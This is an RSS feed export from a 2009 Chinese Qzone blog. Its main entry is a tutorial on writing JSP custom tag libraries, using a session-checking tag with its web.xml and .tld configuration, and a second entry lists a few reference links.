<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[树袋熊]]></title>
<description><![CDATA[树袋熊]]></description>
<link>http://93039799.qzone.qq.com</link>
<lastBuildDate>Sat, 28 Nov 2009 21:52:35 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Tue, 24 Nov 2009 12:24:08 GMT</pubDate>

<item>
<title><![CDATA[参考资料]]></title>
<link>http://93039799.qzone.qq.com/blog/1259065448</link>
<description><![CDATA[<span style="font-size:13px;line-height:1.8em;">WorldWind：            </span><wbr /><a href="http://blog.csdn.net/paul_xj/archive/2007/08/27/1760123.aspx" target="_blank"><span style="font-size:13px;line-height:1.8em;">http://blog.csdn.net/paul_xj/archive/2007/08/27/1760123.aspx</span><wbr /></a><wbr /><br><a href="http://hi.baidu.com/ncheng/blog/item/6f1ce0f58fe18823bc31093f.html" target="_blank"><span style="font-size:13px;line-height:1.8em;">http://hi.baidu.com/ncheng/blog/item/6f1ce0f58fe18823bc31093f.html</span><wbr /></a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[93039799@qq.com(树袋熊)]]></author>
<comments>http://93039799.qzone.qq.com/blog/1259065448#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 24 Nov 2009 12:24:08 GMT</pubDate>
<guid>http://93039799.qzone.qq.com/blog/1259065448</guid>
</item>

<item>
<title><![CDATA[浅论taglib设计]]></title>
<link>http://93039799.qzone.qq.com/blog/1257996182</link>
<description><![CDATA[<span style="font-size:13px;line-height:1.8em;"><span style="font-weight:bold"><wbr />[概述]<br></span><wbr /><br>       Taglib是JSP比较高级的技术。当我们的项目变得越来越大，或者团队有了一些技术积累之后，很自然就会有将我们的开发工作提高一个层次的需要。当我们面对一些非常类似的界面或者程序单元的时候，我们会想到把这样的工作成果直接用于下一个项目。这样的问题可以由taglib来解决。<br><br>       你一定不会忘记 &lt;jsp:include /&gt;标记。实际上这就是一个taglib。Taglib直译做标记库，是JSP定义给开发人员可以使用自行定义的标记体系。也就是说，开发人员可以在JSP中使用自己定义的特殊标记。而该标记可以用作特定的用途。由于每个自定义标记一定是一个完全的JAVA类，我们可以定义非常丰富的一组行为，并且可以通过自定义的attribute来控制它。<br><br><span style="font-weight:bold"><wbr />[实例]</span><wbr /><br><br>       我习惯用实例来说明问题。大家也许都对用户会话状态的检查不陌生。当用户登录到系统后，我们希望自动保持用户的登录状态。而这个过程在每个需要认证用户才能访问的程序单元都需要实现。通常我们需要访问预定义的session服务器变量，当这个变量不满足某值时即判定改用户为非法访问或者会话状态丢失。<br><br>        我们来看一下使用taglib如何实现。我们需要编写一个仅处理该逻辑的标记。实现的最简单的逻辑：检查用户状态session值，不满足某值时即将用户转向一个预先设置的报错页。<br><br>        以下是源码(CheckSessionTag.java)：<br>(省略了细节)</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">public class CheckSessionTag extends TagSupport<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />{<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />     public int</span><wbr /><span style="font-size:13px;line-height:1.8em;"> doEndTag()<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />     {<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />        try</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />         {<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />             String member_id </span><wbr /><span style="font-size:13px;line-height:1.8em;">= (String) pageContext.getSession().getAttribute(&quot;member_id&quot;</span><wbr /><span style="font-size:13px;line-height:1.8em;">);<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />            if(member_id == null || member_id.equals(&quot;&quot;</span><wbr /><span style="font-size:13px;line-height:1.8em;">))<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />             {<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />                 pageContext.forward(&quot;/home/check_session_fail.jsp&quot;</span><wbr /><span style="font-size:13px;line-height:1.8em;">);<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />             }<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />         }<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />        catch</span><wbr /><span style="font-size:13px;line-height:1.8em;">(Exception e)<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />         {<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />            // 报告异常过程省略.</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">         }<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />        return</span><wbr /><span style="font-size:13px;line-height:1.8em;"> EVAL_PAGE;<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />     }<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />}</span><wbr /><br><br><br><span style="font-size:13px;line-height:1.8em;"><span style="font-weight:bold"><wbr />[分析]</span><wbr /><br><br>       在以上源码中，我们在使tag自动检查用户session变量中的&quot;member_id&quot;值，如果该值为空，则立即判定用户没有访问权限，则立即将流程导向一个预先设定的报错页：/home/check_session_fail.jsp.<br><br>       类CheckSessionTag派生自：TagSupport(javax.servlet.jsp.tagext.TagSupport). 是一个从JAVA 1.3就开始支持的类库，位于servlet.jar包。java文档给出的描述是：<br><br>A base class for defining new tag handlers implementing Tag. The TagSupport class is a utility class intended to be used as the base class for new tag handlers. The TagSupport class implements the Tag and IterationTag interfaces and adds additional convenience methods including getter methods for the properties in Tag. TagSupport has one static method that is included to facilitate coordination among cooperating tags. Many tag handlers will extend TagSupport and only redefine a few methods.<br>(该类为所有taglib的基类。该类定义了实现标记的一系列接口。)<br><br>       在实例CheckSessionTag类中，我们仅仅重写了doEndTag方法。没有向其容器：jsp页输出任何东西。但是该类在实际应用中是切实可行的。<br><br>以下是在一个成品项目中的某jsp中截取的片断：<br>&lt;logic:checkSession /&gt;<br><br>       当我们直接使用输入url的方式访问本页时，我们被立即带到了报告：用户会话状态丢失或者未经登录的页。<br>这就省却了我们习以为常的一项工作：以前我们必须复制相同的scriplet到每个jsp页。（实际上，也可以使用类似intercept filter的模式来处理此需求）。这使我们的开发工作变得reusable, flexiable, 和extendable。可以想象，如果我们想改变检查session的逻辑，则可以仅仅通过改变CheckSessionTag内部的逻辑就可以通盘改变。并且我们可以通过给logic:checkSession标记加上类似target=admin的attribute来限定只有管理员才可以访问的区域。这就是形成组件化开发的基本过程。<br><br><span style="font-weight:bold"><wbr />[实施过程]</span><wbr /><br><br>我们需要做一系列工作来将taglib引入我们的工程。<br><br>web.xml<br>       为了使jsp解析器可以识别我们的taglib必须将其配置在web.xml内。web.xml位于/WEB-INF目录内。<br>使用特定语法来配置我们的taglib:<br>web.xml(片断)</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />&lt;web-app&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /><wbr /><a href="http://www.cnblogs.com/Images/dot.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/dot.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;taglib&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />        </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;taglib-uri&gt;/WEB-INF/logic.tld&lt;/taglib-uri&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />        </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;taglib-location&gt;/WEB-INF/logic.tld&lt;/taglib-location&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;/taglib&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /><wbr /><a href="http://www.cnblogs.com/Images/dot.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/dot.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;web-app&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">该语法告诉容器到什么地方去寻找所有logic:开头的tag.<br><br>       tld是taglib defination的缩写。即taglib定义。该文件定义了我们使用的标记，Java类如何加载，并且该标记如何工作。让我们来看一段实际的tld:<br>logic.tld(片断)</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />&lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;!</span><wbr /><span style="font-size:13px;line-height:1.8em;">DOCTYPE taglib<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      PUBLIC &quot;-//Sun Microsystems, Inc.//DTD JSP Tag Library 1.2/EN&quot;<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      &quot;http://java.sun.com/dtd/web-jsptaglibrary_1_2.dtd&quot;&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;taglib&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;tlib-version&gt;1.0&lt;/tlib-version&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;jsp-version&gt;1.2&lt;/jsp-version&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;short-name&gt;logic&lt;/short-name&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;uri&gt;/taglibs/logic&lt;/uri&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;tag&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />       </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;name&gt;checkSession&lt;/name&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />       </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;tag-class&gt;mbajob.common.tags.logic.CheckSessionTag&lt;/tag-class&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />       </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;body-content&gt;empty&lt;/body-content&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;/tag&gt;</span><wbr /><br><br><span style="font-size:13px;line-height:1.8em;">我们注意到taglib标记内.<br>1． short-name: 标记的prefix名。<br>2． uri: 识别该taglib的名称。<br><br>tag标记：<br>1． name: 标记名（prefix:之后）<br>2． tag-class：类名（包含包名）<br>3． body-content: 标记内容模式，如果该标记没有内容则为empty.<br><br>将logic.tld放置在/WEB-INF下，此时确保编译好的CheckSessionTag类可以被容器访问到。即可完成配置。必须注意的是，不同的jsp容器的配置可能有差别。本文的配置是基于Resin 2.1.11<br><br><span style="font-weight:bold"><wbr />[应用]</span><wbr /><br><br>建立一个jsp页。在源码的开头加入如下的预编译指令：(page)<br>&lt;%@ taglib prefix=&quot;logic&quot; uri=&quot;/WEB-INF/logic.tld&quot; %&gt;<br><br>此指令告诉编译器到哪里去寻找所有以logic:开头的标记的定义。<br><br>接下来在任意位置加入标记：&lt;logic:checkSession /&gt;即可以工作了。当标记被实例化后，即自动执行doEndTag过程，检查session服务器变量值，之后将页过程跳转。<br><br><br><span style="font-weight:bold"><wbr />[深入一些：attribute]</span><wbr /><br><br>有时候我们希望可以对标记进行一些定制。依旧拿checkSession做例：现在我们要限制两类用户访问系统：某<br>些部分仅允许具有管理员权限的用户访问。这样我们设想可以在&lt;logic:checkSession target=admin /&gt;进行进一步定义。这需要在CheckSessionTag类中增加一些额外的逻辑。检查的过程很简单，取决于你的安全系统的分析，但是，我们写了target attribute如何是类可以得到该数据，这是一个关键的问题。<br><br>为了实现对tag增加可用的attribute, 需要做如下工作：<br>1． 为类增加相应的成员及相应读写器：<br>CheckSessionTag.java(片断): </span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;">public class CheckSessionTag extends TagSupport<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />{<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      private String target;<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      public void</span><wbr /><span style="font-size:13px;line-height:1.8em;"> setTarget(String t)<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      {<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />        this.target =</span><wbr /><span style="font-size:13px;line-height:1.8em;"> t;<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      }<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      public String getTarget()<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      {<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />        return this</span><wbr /><span style="font-size:13px;line-height:1.8em;">.target;<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />      }<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />     public int</span><wbr /><span style="font-size:13px;line-height:1.8em;"> doEndTag()<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />     {<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />        <wbr /><a href="http://www.cnblogs.com/Images/dot.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/dot.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />     }</span><wbr /><br><br><span style="font-size:13px;line-height:1.8em;">2． 更改logic.tld:</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /></span><wbr /><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/dot.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/dot.gif" /></a><wbr />.<br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr /><br><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    &lt;tag&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />       </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;name&gt;checkSession&lt;/name&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />       </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;tag-class&gt;mbajob.common.tags.logic.CheckSessionTag&lt;/tag-class&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />       </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;body-content&gt;empty&lt;/body-content&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />       </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;attribute&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />          </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;name&gt;title&lt;/name&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />          </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;required&gt;true&lt;/required&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />       </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;/attribute&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;"><wbr /><a href="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" target="_blank"><img style="border:0;" src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" /></a><wbr />    </span><wbr /><span style="font-size:13px;line-height:1.8em;">&lt;/tag&gt;</span><wbr /><br><span style="font-size:13px;line-height:1.8em;">为tag标记增加arrtibute节点，语法如下：<br><br>name: attribute名<br>required: 是否为必须的attribute<br><br>幸运的是，jsp内置地将attribute解释为java类的成员，我们无需显式地获取该值，即可直接使用。也就是说，我们只要在tag内指定了target=admin, 那么，CheckSessionTag在活着的时候就自动获取该值，可以在逻辑中直接使用。<br><br>这样，我们就可以给tag增加任意的attribute.<br><br><br><span style="font-weight:bold"><wbr />[入门以后]</span><wbr /><br><br>到此为止，我么就可以写一些类似的简单的tag了。根据不同的需求，完成不同的逻辑。当我们开发一个新的tag的时候，我们在logic.tld里增加一个tag子标记。设置好相应的类型。如果需要，我们可以把我们已经写好的tag们完全的移植到第二个项目中使用，仅仅做很少的更改。而更改也仅仅限于对java源代码。<br><br>在我和我的团队的实际经验中，taglib最多的应用还是在设计一系列特殊的UI. 例如类似于选择省市多级行政区域的选择器。为了放置在HTML中嵌入过多scriplet和脚本，我们的做法通常是将其写在组装好的tag里；为了形成整个应用一致的外观，我们设计了一套用于组装页构图的框架；为了向jsp输出集合数据，我们设计了可以绑定数据的呈现器。经过很长一个时期的工作，我们发现我们的项目中jsp页内仅有很少的html, 而完全是有taglib组成的。最终，我们的taglib按照layout, logic, element, form分类，已经形成了比较大的规模。我们甚至完成了apache的struts框架完成的一部分工作。甚至做得更灵活。所有这些工作中积累的思想甚至影响到我在.NET平台下的技术思路。<br><br>为了不使篇幅太长，我不准备在本文再做深入的探索。仅仅介绍taglib入门级的一些东西。有时间的话，可能会再次写一些高级一些的taglib的设计方法。<br><br><br><span style="font-weight:bold"><wbr />[与ASP.NET Web Custom Control]</span><wbr /><br><br>不能说taglib与ASP.NET Web Custom Control有什么可比性。但是我习惯将二者放到一起看。因为因为在某些实际项目中，我确实从二者之间找到一些共性。甚至有时候创作一些组件的时候实现是完全相同的。<br>1． 二者都定义了当标记输出开始标记和结束标记时的过程。<br>2． 二者都可以跨应用使用。<br>3． 可以使用相同的HTML和脚本。<br><br>但比较起来，ASP.NET Web Custom Control更高级一些。可以在容器中直接以对象的形式访问。并且可以定义方法，事件。意即可以完全控制一个控件。<br><br>而taglib同样有优点，例如可以嵌套使用，开发成本低等。最关键的是，taglib具有做为java产品的精细，小巧和活泼。他们分别是有着不同风格的优秀技术。<br><br>参考文档<br>taglib最佳实践(IBM <span style="font-style:italic"><wbr />developerWorks中文站</span><wbr />)<br></span><wbr /><a href="http://www-900.ibm.com/developerWorks/cn/java/j-jsp07233/" target="_blank"><span style="color:#009933;font-size:13px;line-height:1.8em;">http://www-900.ibm.com/developerWorks/cn/java/j-jsp07233/</span><wbr /></a><wbr /><br> <br><span style="font-size:13px;line-height:1.8em;"></span><wbr /> <br><span 